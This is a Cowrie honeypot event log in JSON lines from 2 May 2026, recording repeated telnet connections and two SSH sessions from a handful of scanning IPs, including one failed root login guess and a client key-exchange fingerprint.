{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":48294,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee82f6457507","protocol":"telnet","message":"New connection: 207.154.251.61:48294 (10.17.0.5:23) [session: ee82f6457507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:07.717248Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"df35992da9c5","protocol":"telnet","message":"New connection: 207.154.251.61:48308 (10.17.0.5:23) [session: df35992da9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:17.775230Z"}
{"eventid":"cowrie.session.closed","duration":4.543991327285767,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:22.319127Z","src_ip":"207.154.251.61","session":"df35992da9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60420,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba535d50cfe","protocol":"telnet","message":"New connection: 207.154.251.61:60420 (10.17.0.5:23) [session: 9ba535d50cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:32.815048Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f0aa01754d6","protocol":"telnet","message":"New connection: 207.154.251.61:60434 (10.17.0.5:23) [session: 6f0aa01754d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:42.646086Z"}
{"eventid":"cowrie.session.closed","duration":38.90634059906006,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:01:43.664559Z","src_ip":"104.245.105.2","session":"0c4d44e1f4ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.67353320121765,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:02:00.488477Z","src_ip":"207.154.251.61","session":"9ba535d50cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.6343936920166,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:02:05.351535Z","src_ip":"207.154.251.61","session":"ee82f6457507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":36600,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2c69a8aa4c","protocol":"telnet","message":"New connection: 104.245.105.2:36600 (10.17.0.5:23) [session: 8e2c69a8aa4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:02:56.972522Z"}
{"eventid":"cowrie.session.closed","duration":33.89287185668945,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:03:30.865273Z","src_ip":"104.245.105.2","session":"8e2c69a8aa4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00142097473145,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:03:42.647404Z","src_ip":"207.154.251.61","session":"6f0aa01754d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37184,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9cb64797d62","protocol":"telnet","message":"New connection: 104.245.105.2:37184 (10.17.0.5:23) [session: d9cb64797d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:16.403374Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"20d9e50ef3e7","protocol":"telnet","message":"New connection: 207.154.251.61:39596 (10.17.0.5:23) [session: 20d9e50ef3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:20.846998Z"}
{"eventid":"cowrie.session.closed","duration":1.8271691799163818,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:22.673978Z","src_ip":"207.154.251.61","session":"20d9e50ef3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34800,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c162c2e2f9d","protocol":"telnet","message":"New connection: 104.245.105.2:34800 (10.17.0.5:23) [session: 9c162c2e2f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:25.808533Z"}
{"eventid":"cowrie.session.closed","duration":31.45503807067871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:47.858204Z","src_ip":"104.245.105.2","session":"d9cb64797d62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50216,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa98bc6b6b7","protocol":"telnet","message":"New connection: 104.245.105.2:50216 (10.17.0.5:23) [session: 2fa98bc6b6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:55.996904Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50226,"dst_ip":"10.17.0.5","dst_port":23,"session":"9595f0704f99","protocol":"telnet","message":"New connection: 104.245.105.2:50226 (10.17.0.5:23) [session: 9595f0704f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:04:59.024233Z"}
{"eventid":"cowrie.session.closed","duration":35.09678339958191,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:00.905197Z","src_ip":"104.245.105.2","session":"9c162c2e2f9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":44914,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c7b3f6fb48c","protocol":"telnet","message":"New connection: 207.154.251.61:44914 (10.17.0.5:23) [session: 7c7b3f6fb48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:02.843255Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":53152,"dst_ip":"10.17.0.5","dst_port":23,"session":"24e9d03b8fb8","protocol":"telnet","message":"New connection: 207.154.251.61:53152 (10.17.0.5:23) [session: 24e9d03b8fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:23.058782Z"}
{"eventid":"cowrie.session.closed","duration":31.871154308319092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:27.867918Z","src_ip":"104.245.105.2","session":"2fa98bc6b6b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42690,"dst_ip":"10.17.0.5","dst_port":23,"session":"da21cce70eba","protocol":"telnet","message":"New connection: 104.245.105.2:42690 (10.17.0.5:23) [session: da21cce70eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:33.780417Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42692,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eb75d559346","protocol":"telnet","message":"New connection: 104.245.105.2:42692 (10.17.0.5:23) [session: 4eb75d559346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:35.970536Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b24bc1d1e17","protocol":"telnet","message":"New connection: 104.245.105.2:42706 (10.17.0.5:23) [session: 7b24bc1d1e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:39.021612Z"}
{"eventid":"cowrie.session.closed","duration":40.23016047477722,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:39.254219Z","src_ip":"104.245.105.2","session":"9595f0704f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.20704674720764,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:05:42.050179Z","src_ip":"207.154.251.61","session":"7c7b3f6fb48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86390519142151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:07.834269Z","src_ip":"104.245.105.2","session":"4eb75d559346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.2393684387207,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:08.298024Z","src_ip":"207.154.251.61","session":"24e9d03b8fb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":42818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d231e02c65f","protocol":"telnet","message":"New connection: 207.154.251.61:42818 (10.17.0.5:23) [session: 1d231e02c65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:11.345963Z"}
{"eventid":"cowrie.session.closed","duration":38.071818828582764,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:11.852098Z","src_ip":"104.245.105.2","session":"da21cce70eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.379340171813965,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:12.400848Z","src_ip":"104.245.105.2","session":"7b24bc1d1e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49238,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c765584693c","protocol":"telnet","message":"New connection: 207.154.251.61:49238 (10.17.0.5:23) [session: 5c765584693c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:25.973559Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":55004,"dst_ip":"10.17.0.5","dst_port":23,"session":"89f102bc11b9","protocol":"telnet","message":"New connection: 207.154.251.61:55004 (10.17.0.5:23) [session: 89f102bc11b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:41.809850Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc5f3aa9ab58","protocol":"telnet","message":"New connection: 104.245.105.2:58222 (10.17.0.5:23) [session: fc5f3aa9ab58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:06:57.116920Z"}
{"eventid":"cowrie.session.closed","duration":42.31247544288635,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:08.285921Z","src_ip":"207.154.251.61","session":"5c765584693c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58580,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac5f9a2f8d3","protocol":"telnet","message":"New connection: 104.245.105.2:58580 (10.17.0.5:23) [session: 8ac5f9a2f8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:16.169819Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":30432,"dst_ip":"159.203.135.109","dst_port":22,"session":"7559e3f7265c","protocol":"ssh","message":"New connection: 193.24.211.95:30432 (159.203.135.109:22) [session: 7559e3f7265c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:19.539067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:19.544030Z","src_ip":"193.24.211.95","session":"7559e3f7265c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:19.657923Z","src_ip":"193.24.211.95","session":"7559e3f7265c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superscv","message":"login attempt [root/superscv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:20.079763Z","src_ip":"193.24.211.95","session":"7559e3f7265c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:21.190284Z","src_ip":"193.24.211.95","session":"7559e3f7265c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.24976825714111,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:34.059484Z","src_ip":"207.154.251.61","session":"89f102bc11b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.11566472053528,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:37.232488Z","src_ip":"104.245.105.2","session":"fc5f3aa9ab58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.790230989456177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:07:47.959848Z","src_ip":"104.245.105.2","session":"8ac5f9a2f8d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.38341498374939,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:08:02.729268Z","src_ip":"207.154.251.61","session":"1d231e02c65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":38752,"dst_ip":"10.17.0.5","dst_port":23,"session":"86f9792cf265","protocol":"telnet","message":"New connection: 207.154.251.61:38752 (10.17.0.5:23) [session: 86f9792cf265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:08:08.339326Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":38768,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3665e4e6c47","protocol":"telnet","message":"New connection: 207.154.251.61:38768 (10.17.0.5:23) [session: a3665e4e6c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:08:08.686826Z"}
{"eventid":"cowrie.session.closed","duration":24.991804122924805,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:08:33.678524Z","src_ip":"207.154.251.61","session":"a3665e4e6c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50630,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0cfe4920b14","protocol":"telnet","message":"New connection: 207.154.251.61:50630 (10.17.0.5:23) [session: f0cfe4920b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:08:39.151126Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":59910,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6339c97173","protocol":"telnet","message":"New connection: 207.154.251.61:59910 (10.17.0.5:23) [session: aa6339c97173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:18.540388Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":59900,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb869473b32e","protocol":"telnet","message":"New connection: 207.154.251.61:59900 (10.17.0.5:23) [session: bb869473b32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:18.544704Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50624,"dst_ip":"10.17.0.5","dst_port":23,"session":"f57d98648004","protocol":"telnet","message":"New connection: 207.154.251.61:50624 (10.17.0.5:23) [session: f57d98648004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:24.646919Z"}
{"eventid":"cowrie.session.closed","duration":0.004499673843383789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:24.651325Z","src_ip":"207.154.251.61","session":"f57d98648004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50000,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e803b2a205c","protocol":"telnet","message":"New connection: 207.154.251.61:50000 (10.17.0.5:23) [session: 2e803b2a205c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:37.650155Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":32990,"dst_ip":"10.17.0.5","dst_port":23,"session":"539f558cb7ea","protocol":"telnet","message":"New connection: 207.154.251.61:32990 (10.17.0.5:23) [session: 539f558cb7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:37.768486Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48004,"dst_ip":"10.17.0.5","dst_port":23,"session":"328527668d0f","protocol":"telnet","message":"New connection: 104.245.105.2:48004 (10.17.0.5:23) [session: 328527668d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:49.912591Z"}
{"eventid":"cowrie.session.closed","duration":35.51008677482605,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:09:54.050367Z","src_ip":"207.154.251.61","session":"aa6339c97173","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107288360596,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:08.340266Z","src_ip":"207.154.251.61","session":"86f9792cf265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60028,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea87554ab6f","protocol":"telnet","message":"New connection: 207.154.251.61:60028 (10.17.0.5:23) [session: 6ea87554ab6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:11.393968Z"}
{"eventid":"cowrie.session.closed","duration":35.82626295089722,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:13.476297Z","src_ip":"207.154.251.61","session":"2e803b2a205c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.05857563018799,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:16.826891Z","src_ip":"207.154.251.61","session":"539f558cb7ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0644fc64e9f","protocol":"telnet","message":"New connection: 104.245.105.2:58532 (10.17.0.5:23) [session: b0644fc64e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:22.521098Z"}
{"eventid":"cowrie.session.closed","duration":33.91717839241028,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:23.829649Z","src_ip":"104.245.105.2","session":"328527668d0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":65.49598026275635,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:24.040596Z","src_ip":"207.154.251.61","session":"bb869473b32e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"7442595234d5","protocol":"telnet","message":"New connection: 49.88.156.34:50648 (10.17.0.5:23) [session: 7442595234d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:33.910555Z"}
{"eventid":"cowrie.session.closed","duration":120.00145125389099,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:39.152473Z","src_ip":"207.154.251.61","session":"f0cfe4920b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.97977828979492,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:45.373645Z","src_ip":"207.154.251.61","session":"6ea87554ab6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e6f192047c","protocol":"telnet","message":"New connection: 207.154.251.61:58082 (10.17.0.5:23) [session: 23e6f192047c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:47.087274Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.11","src_port":39110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccdb6290786d","protocol":"ssh","message":"New connection: 103.203.57.11:39110 (159.203.135.109:22) [session: ccdb6290786d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:48.537354Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:48.548542Z","src_ip":"103.203.57.11","session":"ccdb6290786d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.584991216659546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:53.105969Z","src_ip":"104.245.105.2","session":"b0644fc64e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"c404b7cc1bf4","protocol":"telnet","message":"New connection: 207.154.251.61:33618 (10.17.0.5:23) [session: c404b7cc1bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:10:57.330405Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53246,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb31d18a0a38","protocol":"telnet","message":"New connection: 104.245.105.2:53246 (10.17.0.5:23) [session: bb31d18a0a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:11:06.716911Z"}
{"eventid":"cowrie.session.closed","duration":34.36909484863281,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:11:41.085886Z","src_ip":"104.245.105.2","session":"bb31d18a0a38","protocol":"telnet"}
